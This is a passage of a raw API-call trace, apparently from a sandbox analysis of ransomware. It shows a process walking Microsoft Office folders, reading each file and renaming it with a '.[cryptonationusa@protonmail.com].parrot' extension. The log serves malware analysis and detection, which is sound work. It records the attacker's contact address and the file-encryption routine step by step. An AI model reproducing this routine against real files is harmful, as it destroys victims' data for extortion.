[0184.276] GetFileType (hFile=0x288) returned 0x1 [0184.276] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0184.325] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1368c, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.325] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.325] ReadFile (in: hFile=0x1b0, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0184.326] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.326] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13574, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18f1c4*=0x13574, lpOverlapped=0x0) returned 1 [0184.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0184.328] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0184.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0184.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0184.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605320 [0184.328] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0184.328] GetLastError () returned 0x0 [0184.331] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.332] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1368c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.332] CloseHandle (hObject=0x1b0) returned 1 [0184.332] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\EXLIRMV.XML.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\exlirmv.xml.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22b4908 | out: hHeap=0x5b0000) returned 1 [0184.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.336] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22d8068 | out: hHeap=0x5b0000) returned 1 [0184.340] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0184.341] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0184.341] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc730, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.342] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0184.342] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0184.342] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0184.342] lstrcmpW (lpString1="1033", lpString2=".") returned 1 [0184.342] lstrcmpW (lpString1="1033", lpString2="..") returned 1 [0184.342] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0184.344] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0184.344] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xccc730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0184.345] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0184.345] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0184.345] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75974300, ftCreationTime.dwHighDateTime=0x1c50f43, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x75974300, ftLastWriteTime.dwHighDateTime=0x1c50f43, nFileSizeHigh=0x0, nFileSizeLow=0x436, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACTIVITL.ICO", cAlternateFileName="")) returned 1 [0184.346] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54e, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.346] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.346] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.347] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.348] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.348] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.348] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.348] CloseHandle (hObject=0x27c) returned 1 [0184.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activitl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268c30 | out: hHeap=0x5b0000) returned 1 [0184.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0184.353] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcce, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.353] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.353] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.355] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.355] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.355] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.355] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.356] CloseHandle (hObject=0x27c) returned 1 [0184.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activits.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268c30 | out: hHeap=0x5b0000) returned 1 [0184.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0184.361] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.361] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.361] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.370] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.370] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3c8, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3c8, lpOverlapped=0x0) returned 1 [0184.371] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.371] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.371] CloseHandle (hObject=0x27c) returned 1 [0184.371] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\ACTIVITY.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\activity.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268c30 | out: hHeap=0x5b0000) returned 1 [0184.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.374] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cabe0 | out: hHeap=0x5b0000) returned 1 [0184.376] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x42d, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.376] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.376] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.377] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.377] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x315, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x315, lpOverlapped=0x0) returned 1 [0184.377] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.378] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x42d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.378] CloseHandle (hObject=0x27c) returned 1 [0184.378] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.380] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228e300 | out: hHeap=0x5b0000) returned 1 [0184.380] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.380] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0184.383] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54e, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.383] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.383] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.384] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.384] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.385] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.385] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.385] CloseHandle (hObject=0x27c) returned 1 [0184.385] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTL.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\apptl.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228e300 | out: hHeap=0x5b0000) returned 1 [0184.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0184.389] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcce, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.389] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.389] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.391] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.391] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbb6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xbb6, lpOverlapped=0x0) returned 1 [0184.391] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.391] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xcce, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.392] CloseHandle (hObject=0x27c) returned 1 [0184.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPTS.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appts.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.393] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x228e300 | out: hHeap=0x5b0000) returned 1 [0184.394] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.394] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0184.396] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x258, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.396] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.396] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.396] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.397] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x140, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x140, lpOverlapped=0x0) returned 1 [0184.397] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.397] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x258, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.397] CloseHandle (hObject=0x27c) returned 1 [0184.397] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.400] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268c30 | out: hHeap=0x5b0000) returned 1 [0184.400] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.400] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0184.401] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x54e, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.402] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.402] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.403] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.403] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x436, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x436, lpOverlapped=0x0) returned 1 [0184.403] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.404] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x54e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.404] CloseHandle (hObject=0x27c) returned 1 [0184.404] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268c30 | out: hHeap=0x5b0000) returned 1 [0184.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.406] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0184.408] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x26a, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.408] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0184.408] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0184.409] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.409] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x152, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x152, lpOverlapped=0x0) returned 1 [0184.409] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0184.410] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x26a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0184.410] CloseHandle (hObject=0x27c) returned 1 [0184.410] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFRES.CFG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfres.cfg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0184.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2268c30 | out: hHeap=0x5b0000) returned 1 [0184.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0184.414] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d1760 | out: hHeap=0x5b0000) returned 1 [0184.416] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xcce, nNumberOfBytesToLockHigh=0x0) returned 1 [0184.416] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: 